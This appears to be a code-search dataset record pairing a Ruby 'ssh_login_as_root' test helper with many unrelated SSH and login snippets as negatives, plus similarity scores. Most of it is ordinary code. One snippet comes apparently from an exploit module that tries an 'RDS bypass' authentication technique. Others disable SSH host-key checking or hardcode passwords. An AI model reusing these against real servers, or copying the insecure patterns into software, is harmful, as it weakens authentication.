Settings::ShelbyAPI.web_root, query) and return\n end\n end\n\n # any user with valid email/password is a valid Shelby user\n # this sets up redirect\n self.class.trace_execution_scoped(['Custom/login/sign_in_current_user']) do\n sign_in_current_user(@user)\n end\n redirect_to clean_query_params(@opener_location) and return\n end", "def run_session\n first_try = true\n\n begin\n Net::SSH.start(@host, @user, @options) do |ssh|\n yield(ssh)\n end\n rescue Net::SSH::HostKeyMismatch => e\n if @remember_host == true && first_try\n # Save fingerprint and try again\n first_try = false\n e.remember_host!\n retry\n else\n # Re-raise error\n raise e\n end\n end\n end", "def login(host)\n # Set the timeout to 15 minutes\n @session_timeout = (Time.new.to_i + 900)\n\n login_headers = { 'referer' => \"https://#{@uri.host}/ipa/ui/index.html\", 'Accept' => 'application/json' }\n\n if @method == :keberose\n login_method = 'login_kerberos'\n gssapi = GSSAPI::Simple.new(@uri.host, 'HTTP')\n # Initiate the security context\n token = gssapi.init_context\n login_headers.merge!('Authorization' => \"Negotiate #{Base64.strict_encode64(token)}\", 'Content-Type' => 'application/json')\n login_request = { method: 'ping', params: [[], {}] }\n elsif @method == :user_pass\n login_method = 'login_password'\n login_headers.merge!('Content-Type' => 'application/x-www-form-urlencoded', 'Accept' => 'text/plain')\n login_request = @credentials\n end\n\n login_uri = URI.parse(\"https://#{@uri.host}/ipa/session/#{login_method}\")\n\n resp = @http.post(login_uri, login_request, login_headers)\n\n return unless resp.status != 200\n\n # invalid passowrd could also mean invalid username\n puts \"HTTP #{resp.status.to_s + ':' + resp.reason} Error authenticating user: #{resp.headers['X-IPA-Rejection-Reason']}\"\n end", "def lock_all(hosts)\n unless $client\n return # no PFTT server, ignore\n end\n hosts.each{|host|\n if host.is_a?(Host::Remote)\n $client.net_lock(host[:host_name])\n end \n }\n end", "def get_ssh_auth_keys(host)\n return on(host, 'cat ~/.ssh/authorized_keys').stdout\nend", "def do_login(mode)\r\n host = @host.value\r\n acct = @acct.value\r\n password = @password.value\r\n\r\n # Adjust user data by mode.\r\n if mode == 1 || (mode == 3 && acct == \"\" && password == \"\")\r\n acct ='anonymous'\r\n if password == \"\"\r\n password = 'anonymous'\r\n end\r\n end\r\n\r\n # Make sure we're all filled in.\r\n if host == \"\" || acct == \"\" || password == \"\"\r\n thud('No Login Info', \r\n \"You must provide a hostname and login credentials.\")\r\n return\r\n end\r\n\r\n # Attempt to connect to the remote host and log in\r\n begin\r\n @conn = Net::FTP.new(host, acct, password)\r\n @conn.passive = true\r\n rescue\r\n thud(\"Login Failed\", $!)\r\n @conn = nil\r\n return\r\n end\r\n\r\n # Display the listing in the window.\r\n @listwin.setconn(@conn)\r\n @main.destroy()\r\n end", "def sshhost\n \"#{script.cluster}.osc.edu\"\n end", "def initialize\n super(\"ssh-userauth\")\n end", "def give_admin_access_to(login)\n give_access_to(:admin, login)\n end", "def try_to_login\n User.login(self.name, self.password)\n end", "def connect(&block)\n @output = []\n @channel_data = ''\n\n begin\n Puppet.debug(\"connecting to #{host} as #{user}\")\n @ssh = Net::SSH.start(host, user, port: port, password: password, timeout: timeout, verify_host_key: false)\n rescue TimeoutError\n raise TimeoutError, _('timed out while opening an ssh connection to the host'), $ERROR_INFO.backtrace\n rescue Net::SSH::AuthenticationFailed\n raise Puppet::Error, _('SSH authentication failure connecting to %{host} as %{user}') % { host: host, user: user }, $ERROR_INFO.backtrace\n rescue Net::SSH::Exception\n raise Puppet::Error, _('SSH connection failure to %{host}') % { host: host }, $ERROR_INFO.backtrace\n end\n\n @buf = ''\n @eof = false\n @channel = nil\n @ssh.open_channel do |channel|\n channel.request_pty { |_ch, success| raise _('failed to open pty') unless success }\n\n channel.send_channel_request('shell') do |ch, success|\n raise _('failed to open ssh shell channel') unless success\n\n ch.on_data { |_, data| @buf << data }\n ch.on_extended_data { |_, type, data| @buf << data if type == 1 }\n ch.on_close { @eof = true }\n\n @channel = ch\n expect(default_prompt, &block)\n # this is a little bit unorthodox, we're trying to escape\n # the ssh loop there while still having the ssh connection up\n # otherwise we wouldn't be able to return ssh stdout/stderr\n # for a given call of command.\n # rubocop:disable Lint/NonLocalExitFromIterator\n return\n # rubocop:enable Lint/NonLocalExitFromIterator\n end\n end\n @ssh.loop\n end", "def enter_login\n @logger.info(\"enter login: %s\" % @username) if @logger\n enter_command(@username)\n end", "def connect\n begin\n Net::SSH.start(@host,@login,password:@password) do |sf|\n @ssh = sf\n Logger.<<(__FILE__,\"INFO\",\"Connected at #{@login}@#{@host}\")\n yield\n end\n rescue => e\n Logger.<<(__FILE__,\"ERROR\",e.message)\n raise e\n end\t\n Logger.<<(__FILE__,\"INFO\",\"Disconnected from #{@login}@#{@host}\")\n @sftp = nil\t\n end", "def authenticate_admin_user!\r\n redirect_to new_user_session_path unless current_user.try(:is_admin?)\r\n end", "def login\n ami_user_valid?\n ami_pass_valid?\n send_action :login, username: @ami_user, secret: @ami_password\n self\n end", "def switch_user(user, admin_login)\n admin_user = config['opennebula']['admin_user']\n admin_password = config['opennebula']['admin_password']\n login = if admin_login\n admin_user\n else\n user\n end\n\n if user\n logger.info \"Authentication from #{admin_user} to #{login}\"\n\n server_auth = ServerCipherAuth.new(admin_user, admin_password)\n expiration = Time.now.to_i + EXPIRE_LENGTH\n user_token = server_auth.login_token(expiration, login)\n\n @ctx = one_connect(@url, user_token)\n @user = user\n else\n logger.info \"Authentication to #{admin_user}\"\n\n direct_token = \"#{admin_user}:#{admin_password}\"\n @ctx = one_connect(@url, direct_token)\n @user = admin_user\n end\n end", "def admin_login_method\n prompt = TTY::Prompt.new\n password = \"offandon\"\n\tpasswordfailcount = 0\n\t# Password login loop\n while passwordfailcount < 3\n puts \"\"\n if prompt.mask(\"Welcome to the application. Please enter your password:\") != password\n passwordfailcount += 1\n puts \"Incorrect. Please try again. Attempt #{passwordfailcount} of 3.\"\n else\n main\n end\n end\nend", "def login\n\n username = prompt.ask(\"Enter your username:\\n\")\n while !User.find_by(username: username)\n puts \"Username not found - please try again.\\n\"\n username = prompt.ask(\"Enter your username:\\n\")\n end\n\n password = prompt.mask(\"Enter your password:\")\n while User.find_by(username: username).password != password\n puts \"Invalid password - please try again.\"\n password = prompt.mask(\"Enter your password:\")\n end\n \n self.user_id = User.find_by(username: username).id\n puts \"Successfully logged in! Welcome #{User.return_username(user_id)}!\\n\"\n\n show_threads\n end", "def enable_managed_login\n if RightScale::LoginManager.instance.supported_by_platform?\n ssh_host_keys = RightScale::LoginManager.instance.get_ssh_host_keys\n payload = {:agent_identity => @agent_identity,\n :ssh_host_keys=>ssh_host_keys}\n req = RightScale::RetryableRequest.new('/booter/get_login_policy', payload)\n\n req.callback do |policy|\n audit = RightScale::AuditProxy.new(policy.audit_id)\n begin\n RightScale::LoginManager.instance.update_policy(policy, @agent_identity) do |audit_content|\n if audit_content\n audit.create_new_section('Managed login enabled')\n audit.append_info(audit_content)\n end\n end\n rescue Exception => e\n audit.create_new_section('Failed to enable managed login')\n audit.append_error(\"Error applying login policy: #{e}\", :category => RightScale::EventCategories::CATEGORY_ERROR)\n RightScale::Log.error('Failed to enable managed login', e, :trace)\n end\n\n setup_volumes\n end\n\n req.errback do |res|\n RightScale::Log.error('Could not get login policy', res)\n boot\n end\n\n req.run\n else\n setup_volumes\n end\n end", "def _test_change_user_sets_user\n host = @remote_host ; user = @remote_user\n assert_equal(user, Execute.run!('whoami', :host => host, :user => user)[:stdout].strip,\n \"failed to change user\")\n end", "def control_server(hostname,username,password,command)\n if $verbose_mode == true\n puts \"vSphere Server: \"+hostname\n puts \"vSphere Command: \"+command\n end\n begin\n Net::SSH.start(hostname, username, :password => password, :verify_host_key => false) do |ssh_session|\n (ssh_session,output) = ssh_session_exec(ssh_session,command)\n return output\n end\n rescue Net::SSH::HostKeyMismatch => host\n puts \"Existing key found for \"+hostname\n if doaction != \"y\"\n while doaction !~ /y|n/\n print \"Update host key [y,n]: \"\n doaction = gets.chomp\n end\n end\n if doaction == \"y\"\n puts \"Updating host key for \"+hostname\n host.remember_host!\n else\n exit\n end\n retry\n end\n return output\nend", "def ssh(host, user_name, *commands)\n global_cmd = \"ssh #{SSH_OPTIONS} #{user_name}@#{host} \\\"#{commands.join(';echo -;')}\\\"\"\n @logger.info(\"[SystemGateway][ssh] Executing #{global_cmd}...\")\n out = `#{global_cmd}`\n\n # SSH command failures (host unreachable, authentication errors)\n if $?.to_i != 0\n @logger.error(\"[SystemGateway][ssh] Command terminated abnormally: #{$?}\")\n raise(SSHError)\n end\n\n @logger.info(\"[SystemGateway][ssh] Command ended. Output: #{out}\")\n out\n end", "def admin_authenticate\n authenticate and return if @logged_in.nil?\n unauthorized if !@sso_groups.include?(\"Admin\")\n end", "def connect_login(global = true)\n pop2sock = connect(global)\n\n\n if !(user and pass)\n print_status(\"No username and password were supplied, unable to login\")\n return false\n end\n\n print_status(\"Authenticating as #{user} with password #{pass}...\")\n res = raw_send_recv(\"HELO #{user} #{pass}\\r\\n\")\n\n if (res !~ /messages/)\n print_status(\"Authentication failed\")\n return false\n end\n\n print_status(\"Messages: #{res}\")\n return true\n end", "def connect_to_host(host,port,user,password,sftp=false)\n begin\n if sftp\n @log.info(\"SFTP connect to host #{host}:#{port}\")\n @ssh_connect = Net::SFTP.start(host,user,:password=>password,:port=>port)\n else\n @log.info(\"SSH connect to host #{host}:#{port}\")\n @ssh_connect = Net::SSH.start(host,user,:password=>password,:port=>port)\n end\n rescue Exception => error\n @log.error(\"#{error}\")\n exit\n end\n end", "def configure_login_credentials\n # Clear saved cookie\n Utilities.remove_cookie\n\n account = prompt_for_account\n Utilities.log(\"Trying to login...\")\n session = Communication::SessionManager.new(account)\n session.login(force: true) do\n Utilities.log(\"Success (#{session.myself[:full_name]}).\", { type: :success })\n end\n rescue LogworkException::InvalidCredentials\n Utilities.log(\"Invalid username or password.\", { type: :error })\n rescue LogworkException::APIResourceNotFound, LogworkException::NotSuccessStatusCode\n Utilities.log(\"Seems that you have entered an invalid JIRA Server URL.\", { type: :error })\n end", "def login_as\n unless session[:user] && session[:user].admin?\n redirect_to \"/\"\n return\n end\n\n user = params[:login_as]\n new_user = LinkedData::Client::Models::User.find_by_username(user).first\n\n if new_user\n session[:admin_user] = session[:user]\n session[:user] = new_user\n session[:user].apikey = session[:admin_user].apikey\n end\n\n #redirect_to request.referer rescue redirect_to \"/\"\n redirect_to \"/\"\n end", "def switch\n authorize!(:manage, :all)\n user = User.find_by(login: params[:login].upcase)\n if user\n session[:original_user_id] = session[:user_id]\n session[:user_id] = user.id\n redirect_to root_url, notice: \"Sie sind nun der Nutzer mit dem Login #{user.login}.\"\n else\n redirect_to root_url, notice: \"Der Nutzer existiert nicht im System.\"\n end\n end", "def attempt\n raise \"Machine already activated\" if completed?\n \n credentials = machine.ssh_credentials\n non_su_credential = credentials.select(&:needs_sudo).first\n su_credential = credentials.reject(&:needs_sudo).first\n non_su_credential ||= su_credential\n \n shell = nil\n \n begin\n # Learn about the machine's platform.\n unless machine.kernel_info\n return unless shell ||= machine.ssh(non_su_credential)\n kernel_info = machine.build_kernel_info\n kernel_info.update_from_shell shell\n return unless kernel_info.save\n end\n \n # Create and activate a superuser ssh credential.\n unless su_credential.healthy?\n return unless shell ||= machine.ssh(non_su_credential)\n su_credential ||= machine.ssh_credentials.build :username => 'root'\n su_credential.new_key!\n return unless su_credential.save\n su_credential.install shell\n end\n\n if password_reset && non_su_credential != su_credential\n end\n \n completed_at = Time.now\n save!\n ensure\n shell.close if shell\n end\n true\n end", "def execute_interactively(host, command)\n user = host.user\n hostname = host.hostname\n port = host.port || 22\n\n # execute in shell\n exec \"ssh -l #{user} #{hostname} -p #{port} -t '#{command}'\"\nend", "def change_host\n @parameters[:hosts] = @parameters[:hosts].sort_by { rand } if @parameters[:randomize]\n\n # Set first as master and send it to the end of array\n current_host = @parameters[:hosts].shift\n @parameters[:hosts] << current_host\n\n @ssl = current_host[:ssl]\n @host = current_host[:host]\n @port = current_host[:port] || Connection::default_port(@ssl)\n @login = current_host[:login] || \"\"\n @passcode = current_host[:passcode] || \"\"\n end", "def open(&block)\n\t\tif @ssh_session && !@ssh_session.closed? then\n\t\t\t@@logger.warn(\"trying to open an already opened ssh connection\")\n\t\t\traise \"trying to open an already opened ssh connection\"\n\t\tend\n\t\t\n\t\t@@logger.info(\"opening ssh connection with parameters: \" + @parameters.to_s)\n\t\n\t\tparameters = @parameters.clone()\n\t\thost = @parameters[:host]\n\t\tuser = @parameters[:user]\n\t\t\n\t\tparameters.delete(:host)\n\t\tparameters.delete(:user)\n\t\t\n\t\tif @parameters[:keys] then\n\t\t\t@@logger.info(\"Starting SSH session with public key authentication\")\n\t\telsif @parameters[:key_data] then\n\t\t\t@@logger.info(\"Starting SSH session with public key authentication\")\n\t\telsif @parameters[:password] then\n\t\t\t@@logger.info(\"Starting SSH session with password authentication\")\n\t\telse\n\t\t\t@@logger.error(\"No SSH authentication method found in parameters\")\n\t\t\traise \"No authentication method found\"\n\t\tend\n\n\t\tconnected = false\n\t\ttrials = 5\n\t\twhile !connected and trials > 0\n\t\t\tbegin\n\t\t\t\t@ssh_session = Net::SSH.start(host, user, parameters)\n\t\t\t\tconnected = true\n\t\t\trescue Exception => e\n\t\t\t\t@@logger.warn(\"connection attempt failed due to #{e.backtrace}\")\n\t\t\tend\n\t\t\ttrials -= 1\n\t\t\tif !connected\n\t\t\t\tsleep(20)\n\t\t\tend\n\t\tend\n\t\n\t\tif block then\n\t\t\tyield self\n\t\t\tclose\n\t\tend\n\tend", "def connect_login(global = true, verbose = true)\n\t\tircsock = connect(global, verbose)\n\n\t\tres = send_nick(user, ircsock)\n\t\t\n raw_send(\"USER blah blah blah :blah blah\")\n send_user(\"\n sleep 2\n raw_send(\"JOIN #{datastore['CHANNEL']}\")\n\t\t\n\t\treturn true\n\tend\n\n\t#\n\t# This method logs in as the supplied nick by transmitting the IRC\n\t# 'NICK <user>' command.\n\t#\n\tdef send_nick(user, nsock = self.sock)\n\t\traw_send_recv(\"NICK #{user}\", nsock)\n\tend\n\n\t#\n\t# This method sends one command with zero or more parameters\n\t#\n\tdef send_cmd(args, recv = true, nsock = self.sock)\n\t\tcmd = args.join(\" \") + \"\\n\"\n\t\tif (recv)\n\t\t\treturn raw_send_recv(cmd, nsock)\n\t\telse\n\t\t\treturn raw_send(cmd, nsock)\n\t\tend\n\tend", "def authenticate_admin_user!\n raise SecurityError unless current_admin_user.try(:is_admin?)\n end", "def shell(reason = nil, username_or_credential = nil)\n if username_or_credential && username_or_credential.respond_to?(:to_str)\n credential = ssh_credential_for username_or_credential\n else\n credential = username_or_credential || ssh_credentials.first\n end\n # TODO(pwnall): loop through all addresses until one works\n address = net_addresses.first\n \n ShellSession.ssh address, credential, reason\n end", "def administrator_login user, password\r\n cf_cookies = administrator_9x_login user, password\r\n unless got_auth? cf_cookies\r\n cf_cookies = administrator_10x_login user, password\r\n end\r\n cf_cookies\r\n end", "def puppet_user(host)\n puppet_config(host, 'user', section: 'master')\n end", "def enable_root_on_hosts\n @hosts.each do |host|\n enable_root(host)\n end\n end", "def start_session\n ssh_opts = filter_ssh_options(options)\n @ssh = Net::SSH.start(options[:hostname], options[:username], ssh_opts)\n rescue Net::SSH::Disconnect\n retry_count = retry_count.to_i + 1\n sleep 30 and retry if retry_count < 5\n raise(SSHCannotConnect, Errstr::CANNOT_CONNECT % options[:hostname])\n end", "def authenticate_admin!\n redirect_to new_user_session_path unless current_user && current_user.admin?\n end", "def authenticate_admin!\n redirect_to new_user_session_path unless current_user && current_user.admin?\n end", "def login_as(user, site = nil)\n user = user ? users(user) : nil\n site = sites(site || :first)\n host! site.host\n @request.session[:user] = user ? User.authenticate_for(site, user.login, 'test') : nil\n if block_given?\n yield\n reset!\n end\n end", "def admin_login\n self.current_admin = Admin.find_by_id(session[:admin]) if session[:admin]\n end", "def authenticate_admin_user!\n unless current_user && current_user.admin?\n redirect_to login_path, alert: t(:please_log_in_as_admin)\n end\n end", "def authenticate_admin!\n return redirect_to new_user_session_path if current_user.blank?\n redirect_to frontend_url unless current_user.admin?\n end", "def run_dsh_hosts(hosts, cmd, extra_opts='', &block)\n hosts = [hosts] unless hosts.is_a?(Array)\n if extra_opts.length > 0\n run_cmd %Q{ssh #{Deployinator.default_user}@#{Deployinator.deploy_host} 'dsh -m #{hosts.join(',')} -r ssh -F #{dsh_fanout} #{extra_opts} -- \"#{cmd}\"'}, &block\n else\n run_cmd %Q{ssh #{Deployinator.default_user}@#{Deployinator.deploy_host} 'dsh -m #{hosts.join(',')} -r ssh -F #{dsh_fanout} -- \"#{cmd}\"'}, &block\n end\n end", "def login\r\n cf_cookies = {}\r\n\r\n ways = {\r\n 'RDS bypass' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], true) },\r\n 'RDS login' => Proc.new { |foo| adminapi_login(datastore['USERNAME'], datastore['PASSWORD'], false) },\r\n 'Administrator login' => Proc.new { |foo| administrator_login(datastore['USERNAME'], datastore['PASSWORD']) },\r\n }\r\n ways.each do |what, how|\r\n these_cookies = how.call\r\n if got_auth? these_cookies\r\n print_status \"Authenticated using '#{what}' technique\"\r\n cf_cookies = these_cookies\r\n break\r\n end\r\n end\r\n\r\n fail_with(Exploit::Failure::NoAccess, \"Unable to authenticate\") if cf_cookies.empty?\r\n cf_cookies\r\n end" ]
[ "0.69868636", "0.6118218", "0.60860646", "0.59994775", "0.5974996", "0.59332573", "0.5883073", "0.58120173", "0.58066857", "0.577147", "0.5739237", "0.5737033", "0.5695896", "0.5680103", "0.5666923", "0.5657754", "0.56322855", "0.5620444", "0.5586391", "0.55781394", "0.55569017", "0.5555766", "0.551503", "0.5511181", "0.55001825", "0.5474981", "0.5470752", "0.54632646", "0.54407233", "0.54336697", "0.5425935", "0.54031104", "0.5397677", "0.5384866", "0.53811455", "0.5373323", "0.5368934", "0.53593457", "0.5358562", "0.53503215", "0.53456867", "0.534442", "0.5341562", "0.53359735", "0.53333485", "0.53333485", "0.53243077", "0.5323277", "0.5317908", "0.5312679", "0.53022426", "0.53002524", "0.5273888", "0.52687615", "0.5266254", "0.52639806", "0.5260592", "0.5258924", "0.52567333", "0.5256065", "0.524771", "0.5236734", "0.5233772", "0.5231688", "0.52275276", "0.5225191", "0.5216967", "0.52168024", "0.52165735", "0.5216038", "0.52132016", "0.52128315", "0.52127385", "0.5211779", "0.5203563", "0.51950717", "0.51916045", "0.5178074", "0.51759076", "0.51705927", "0.5166495", "0.5158402", "0.5154224", "0.5149771", "0.51450485", "0.51397175", "0.5126977", "0.5125013", "0.5122376", "0.5116965", "0.5116598", "0.5107931", "0.51077116", "0.51077116", "0.5105452", "0.5102855", "0.51026636", "0.5099841", "0.50934803", "0.50887036" ]
0.7970251
0
ssh_login_as_root attempts to log in as root on all hosts from current user
def ssh_login_as_root deploy_test_on_hosts_as 'root', self.hosts, '/root', "Should be able to connect as root via ssh" do 'pwd' end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def enable_root(host)\n if host['user'] != 'root'\n copy_ssh_to_root(host, @options)\n enable_root_login(host, @options)\n host['user'] = 'root'\n host.close\n end\n end", "def enable_root(host)\n host['ssh'] = {:password => host['instance'].id}\n @logger.notify(\"netscaler: nsroot password is #{host['instance'].id}\")\n #if host['user'] != 'root'\n # host.exec(Command.new(\"modify sys db systemauth.disablerootlogin value false\"), :acceptable_exit_codes => [0,1])\n # for tries in 1..10\n # begin\n # #This command is problematic as the netscaler is not always done loading\n # if host.exec(Command.new(\"modify sys global-settings gui-setup disabled\"), :acceptable_exit_codes => [0,1]).exit_code == 0 and host.exec(Command.new(\"save sys config\"), :acceptable_exit_codes => [0,1]).exit_code == 0\n # backoff_sleep(tries)\n # break\n # elsif tries == 10\n # raise \"Instance was unable to be configured\"\n # end\n # rescue Beaker::Host::CommandFailure => e\n # @logger.debug(\"Instance not yet configured (#{e})\")\n # end\n # backoff_sleep(tries)\n # end\n # host['user'] = 'root'\n # host.close\n # sha256 = Digest::SHA256.new\n # password = sha256.hexdigest((1..50).map{(rand(86)+40).chr}.join.gsub(/\\\\/,'\\&\\&'))\n # host['ssh'] = {:password => password}\n # host.exec(Command.new(\"echo -e '#{password}\\\\n#{password}' | tmsh modify auth password admin\"))\n # @logger.notify(\"netscaler: Configured admin password to be #{password}\")\n # host.close\n #end\n end", "def enable_root_ssh(ip, initial_ssh_user)\n # Capistrano uses the :password variable for sudo commands. Since this setting is generally used for the deploy user,\n # but we need it this one time for the initial SSH user, we need to swap out and restore the password.\n #\n # We special-case the 'ubuntu' user since the Canonical AMIs on EC2 don't set the password for\n # this account, making any password prompt potentially confusing.\n orig_password = fetch(:password)\n initial_ssh_password = fetch(:initial_ssh_password, nil)\n\n if initial_ssh_user == 'ubuntu' || ENV.has_key?('RUN_FROM_VAGRANT')\n set(:password, nil)\n elsif initial_ssh_password\n set(:password, initial_ssh_password)\n else\n set(:password, Capistrano::CLI.password_prompt(\"Password for #{initial_ssh_user} @ #{ip}: \"))\n end\n\n task :_ensure_key_file_present, :hosts => \"#{initial_ssh_user}@#{ip}\" do\n public_key_filename = \"#{cloud.env.key_file}.pub\"\n\n if File.exist?(public_key_filename)\n public_key = File.read(public_key_filename).chomp\n\n rubber.sudo_script 'ensure_key_file_present', <<-ENDSCRIPT\n mkdir -p ~/.ssh\n touch ~/.ssh/authorized_keys\n chmod 600 ~/.ssh/authorized_keys\n\n if ! grep -q '#{public_key}' .ssh/authorized_keys; then\n echo '#{public_key}' >> .ssh/authorized_keys\n fi\n ENDSCRIPT\n end\n end\n\n task :_allow_root_ssh, :hosts => \"#{initial_ssh_user}@#{ip}\" do\n rsudo \"mkdir -p /root/.ssh && cp /home/#{initial_ssh_user}/.ssh/authorized_keys /root/.ssh/\"\n end\n\n task :_disable_password_based_ssh_login, :hosts => \"#{initial_ssh_user}@#{ip}\" do\n rubber.sudo_script 'disable_password_based_ssh_login', <<-ENDSCRIPT\n if ! grep -q 'PasswordAuthentication no' /etc/ssh/sshd_config; then\n echo 'PasswordAuthentication no' >> /etc/ssh/sshd_config\n service ssh restart\n fi\n ENDSCRIPT\n end\n\n begin\n _ensure_key_file_present\n _allow_root_ssh\n _disable_password_based_ssh_login if cloud.should_disable_password_based_ssh_login?\n\n # If the initial_ssh_user is different than the deploy user, we can terminate the SSH connection\n # because from here on out we'll be connecting as the deploy user.\n if initial_ssh_user != fetch(:user, nil)\n teardown_connections_to(sessions.keys)\n end\n rescue ConnectionError, IOError => e\n if e.message =~ /Net::SSH::AuthenticationFailed/\n logger.info \"Can't connect as user #{initial_ssh_user} to #{ip}, assuming root allowed\"\n else\n sleep 2\n logger.info \"Failed to connect to #{ip}, retrying\"\n teardown_connections_to(sessions.keys) if e.message =~ /closed stream/\n retry\n end\n end\n\n # Restore the original deploy password.\n set(:password, orig_password)\n end", "def prompt_for_root_password!\n e.execute_as_root('')\n end", "def ssh_login\n deploy_test_on_hosts_as self.host_admin, self.hosts, \"/home/#{self.host_admin}\\n\", \"should be able to connect via ssh\" do\n 'pwd'\n end\n end", "def enable_root_on_hosts\n @hosts.each do |host|\n enable_root(host)\n end\n end", "def verify_root_ssh(vim, vm, auth)\n clear_line\n print '[ ' + 'INFO'.green + \" ] Checking to see if root_ssh is disabled\"\n\n #create spec to run command\n spec = { :programPath => '/bin/grep', :arguments => '\"^PermitRootLogin no\" /etc/ssh/sshd_config' }\n\n #run command through GuestOps\n pid = vim.serviceContent.guestOperationsManager.processManager.StartProgramInGuest(:vm => vm, :auth => auth, :spec => spec)\n\n #list process of command and get exit code\n process = vim.serviceContent.guestOperationsManager.processManager.ListProcessesInGuest(:vm => vm, :auth => auth, :pids => [pid]).first\n\n exit_code = vim_wait(vim, vm, auth, process)\n\n if exit_code == 0 \n return 'DISABLED'\n else\n return 'ENABLED'\n end\nend", "def ssh_cmd_base(host_or_ip)\n return [\"sudo\", \"-i\", \"-u\", \"root\", \"--\", \"ssh\", \"-o\", \"TCPKeepAlive=no\", \"-o\", \"ServerAliveInterval=15\", \"root@#{host_or_ip}\"]\n end", "def config_root_ssh(vim, vm, auth, state)\n clear_line\n print '[ ' + 'INFO'.green + \" ] Configuring root ssh access. Setting to state #{state}.\"\n if state == 'enabled'\n programpath = '/bin/sed'\n arguments = '-i \\'s/\\(^PermitRootLogin no\\)/PermitRootLogin yes/g\\' /etc/ssh/sshd_config'\n elsif state == 'disabled'\n programpath = '/bin/sed'\n arguments = '-i \\'s/\\(^PermitRootLogin yes\\)/PermitRootLogin no/g\\' /etc/ssh/sshd_config'\n else\n clear_line\n puts '[ ' + 'ERROR'.red + \" ] Invalid state set for configure_root_ssh. State: #{state}\"\n raise 'ERROR'\n end\n spec = { :programPath => programpath, :arguments => arguments }\n\n #run command through GuestOps\n pid = vim.serviceContent.guestOperationsManager.processManager.StartProgramInGuest(:vm => vm, :auth => auth, :spec => spec) \n\n #list process of command and get exit code\n process = vim.serviceContent.guestOperationsManager.processManager.ListProcessesInGuest(:vm => vm, :auth => auth, :pids => [pid]).first\n\n exit_code = vim_wait(vim, vm, auth, process)\n\n #restart sshd\n print '[ ' + 'INFO'.green + \" ] Restarting the sshd service\"\n spec = { :programPath => '/sbin/service', :arguments => 'sshd restart' }\n\n #run command through GuestOps\n pid = vim.serviceContent.guestOperationsManager.processManager.StartProgramInGuest(:vm => vm, :auth => auth, :spec => spec) \n\n #list process of command and get exit code\n process = vim.serviceContent.guestOperationsManager.processManager.ListProcessesInGuest(:vm => vm, :auth => auth, :pids => [pid]).first\n\n exit_code = vim_wait(vim, vm, auth, process)\n\n if exit_code == 0\n clear_line\n print '[ ' + 'INFO'.green + \" ] Succesfully restart SSHD\"\n return 'SUCCESS'\n else\n clear_line\n puts '[ ' + 'ERROR'.red + \" ] Failed to succesfully restart sshd on #{vm}.\"\n raise 'ERROR'\n end\nend", "def ssh_user(val=nil)\n from_setting_or_image_info :ssh_user, val, 'root'\n end", "def check_root\n\t# Make sure we are running as root\n\tprint_status(\"Checking if running as root\")\n\tif Process.uid != 0\n\t\tprint_error(\"You are not running as Root!\")\n\t\texit\n\tend\n\t# Make sure we are running in Linux\n\tif not RUBY_PLATFORM =~ /linux/\n\t\tprint_error(\"This script only works in linux\")\n\t\texit\n\tend\nend", "def verify_root\r\n if !User.root\r\n raise ApplicationSetupError, \"\\n\\n**Error: No root user exists! Please run 'rake setup RAILS_ENV=#{$tmp_env}' to create the root user.**\\n\\n\\n\"\r\n end\r\n end", "def remote_connect(host,user,password)\n log_file = File.open(File.join(\"log\",host+\".log\"),\"w+\")\n begin\n #send_as_root(host,user,password)\n @error = []\n Net::SSH.start(host,user,:password=>password) do |ssh|\n puts host+\" connected.\"\n send_all ssh\n exec ssh,log_file,\"bash #{@filename+'.sh'}\"\n end\n if @error.size!=0\n puts \"ERROR OCCURS:\"\n end\n @error.each do |str|\n puts str\n end\n end while @error.size != 0\n log_file.close\n end", "def surun(command)\n password = fetch(:root_password, Capistrano::CLI.password_prompt(\"root password: \"))\n run(\"su - -c '#{command}'\") do |channel, stream, output|\n channel.send_data(\"#{password}n\") if output\n end\nend", "def connect\n nodes.each do |k,v|\n RSpec.configuration.rs_storage[:nodes][k] ||= {}\n\n chan = ssh_connect(:host => k, :user => 'vagrant', :net_ssh_options => {\n :config => ssh_config\n })\n\n # Copy the authorized keys from vagrant user to root then reconnect\n cmd = 'mkdir /root/.ssh ; cp /home/vagrant/.ssh/authorized_keys /root/.ssh'\n\n output << bold(color(\"#{k}$ \", :green)) << cmd << \"\\n\"\n ssh_exec!(chan, \"cd /tmp && sudo sh -c #{shellescape(cmd)}\")\n\n chan = ssh_connect(:host => k, :user => 'root', :net_ssh_options => {\n :config => ssh_config\n })\n RSpec.configuration.rs_storage[:nodes][k][:ssh] = chan\n end\n\n nil\n end", "def check_ssh_localhost\n # BatchMode=yes prevents password authentication\n # Interestingly PasswordAuthentication=no does not seem to disable it.\n unless 'success' == %x{ssh -o BatchMode=yes localhost echo success}.chomp\n abort \"You need to allow key-based SSH access to localhost for your own user.\\n\" +\n \"See http://borrelli.org/2012/05/02/hadoop-osx-sshkey_setup/\"\n end\n end", "def do_secure_accounts(instance)\n client = Client.open(instance, :no_password => true)\n q1 = \"UPDATE mysql.user SET Password = PASSWORD(\\'#{ROOT_PASSWORD}\\') where User = \\'root\\'\"\n q2 = \"UPDATE mysql.user SET Password = PASSWORD(\\'#{ROOT_PASSWORD}\\') where User = \\'\\'\"\n # q3 = \"CREATE USER \\'root\\'@\\'%.#{REPLICATION_DOMAIN}\\' IDENTIFIED BY \\'#{ROOT_PASSWORD}\\'\"\n # For testing with clients whose DHCP assigned IP address is not in DNS.\n q3 = \"CREATE USER \\'root\\'@\\'%' IDENTIFIED BY \\'#{ROOT_PASSWORD}\\'\"\n q4 = \"GRANT ALL PRIVILEGES ON *.* to \\'root\\'@\\'%\\' WITH GRANT OPTION\"\n q5 = \"FLUSH PRIVILEGES\"\n if client\n [q1, q2, q3, q4, q5].each do |query|\n puts query\n client.query(query)\n end\n end\n rescue Mysql2::Error => e\n puts e.message\n ensure\n client.close if client\n end", "def drop_root_privileges\n if Process::Sys.getuid==0\n Dir.chdir($app[:path]) if not $app[:path].nil?\n Process::GID.change_privilege($app[:ginfo].gid)\n Process::UID.change_privilege($app[:uinfo].uid)\n end\n end", "def sftponly(options)\n \n group 'sftponly', :ensure => :present\n \n exec \"fake shell\",\n :command => \"echo /bin/false >> /etc/shells\",\n :onlyif => \"test -z `grep /bin/false /etc/shells`\"\n \n (options[:users]||'sftponly').to_a.each do |user,hash|\n user = user.to_s\n \n chroot = options[:chroot_directory] || \"/home/#{user}\"\n homedir = chroot + ( hash[:home] || \"/home/#{user}\" )\n \n parent_directories homedir, :owner => 